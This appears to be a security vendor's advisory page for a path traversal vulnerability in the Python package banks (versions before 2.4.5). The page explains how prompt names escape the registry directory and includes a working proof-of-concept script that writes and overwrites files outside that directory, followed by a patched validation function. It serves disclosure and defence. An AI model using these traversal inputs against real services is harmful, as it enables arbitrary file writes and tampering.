CVE-2026-71492

CVE-2026-71492 is a medium-severity path traversal vulnerability in banks (pip), affecting versions < 2.4.5. It is fixed in 2.4.5.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Banks: Path traversal in DirectoryPromptRegistry.set() allows arbitrary file write outside the registry root

DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.

Details

src/banks/registries/directory.py:44

prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
prompt_file.write_text(prompt.raw)

Two failure modes:

  1. Relative traversal. name="../victim/foo" resolves to <registry>/../victim/foo.0.jinja, outside the configured root.
  2. Absolute-path bypass. pathlib documents that Path("/a") / Path("/b") returns Path("/b"). So name="/abs/path" discards the registry root entirely; the registry is never consulted.

The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.

Proof of Concept

import tempfile
from pathlib import Path
from banks import Prompt
from banks.registries import DirectoryPromptRegistry

work = Path(tempfile.mkdtemp())
registry = work / "registry"; registry.mkdir()
victim   = work / "victim";   victim.mkdir()

reg = DirectoryPromptRegistry(str(registry))

# (1) Relative traversal
reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
print((victim / "pwned.0.jinja").read_text())            # 'pwn'

# (2) Absolute-path bypass, registry root is silently discarded
target = victim / "absolute_pwn"
reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
print((victim / "absolute_pwn.0.jinja").read_text())     # 'abs pwn'

# (3) Clobber an existing file
existing = victim / "clobber_me"
existing.write_text("ORIGINAL\n")
reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
        overwrite=True)
print((victim / "clobber_me.0.jinja").read_text())       # 'CLOBBERED'

Output (verified on banks==2.4.2):

pwn
abs pwn
CLOBBERED

test_sandbox_baseline.py

registry_path_traversal.py

registry_path_traversal_v2.py

Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.

Impact

Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.

Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Affected versions

banks (< 2.4.5)

Security releases

banks → 2.4.5 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:

# src/banks/registries/directory.py
import re

_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")

@classmethod
def from_prompt_path(cls, prompt, path):
    if not _NAME_RE.fullmatch(prompt.name or ""):
        raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
    if not _NAME_RE.fullmatch(prompt.version or ""):
        raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")

    candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
    if candidate.parent != path.resolve():
        raise InvalidPromptError(
            f"Prompt path escapes registry root: {candidate}"
        )

    candidate.write_text(prompt.raw)
    return cls(
        text=prompt.raw, name=prompt.name, version=prompt.version,
        metadata=prompt.metadata, path=candidate,
    )

The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.

Frequently Asked Questions

  1. What is CVE-2026-71492? CVE-2026-71492 is a medium-severity path traversal vulnerability in banks (pip), affecting versions < 2.4.5. It is fixed in 2.4.5. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
  2. Which versions of banks are affected by CVE-2026-71492? banks (pip) versions < 2.4.5 is affected.
  3. Is there a fix for CVE-2026-71492? Yes. CVE-2026-71492 is fixed in 2.4.5. Upgrade to this version or later.
  4. Is CVE-2026-71492 exploitable, and should I be worried? Whether CVE-2026-71492 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-71492 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-71492? Upgrade banks to 2.4.5 or later.

Stop the waste.
Protect your environment with Kodem.